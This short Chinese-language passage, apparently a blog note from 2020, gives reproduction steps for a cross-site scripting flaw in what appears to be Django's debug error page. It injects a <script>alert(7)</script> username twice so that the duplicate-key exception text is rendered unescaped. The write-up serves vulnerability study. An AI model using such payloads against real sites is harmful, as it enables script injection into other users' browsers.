时光如瑾雨微凉 2020-02-24
ip:8000/create_user/?username=<script>alert(7)</script>
显示用户已创建。
2.触发漏洞,再次访问ip:8000/create_user/?username=<script>alert(7)</script>
3.触发异常:
duplicate key value violates unique constraint "xss_user_username_key" DETAIL: Key (username)=(<script>alert(7)</script>) already exists.
4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。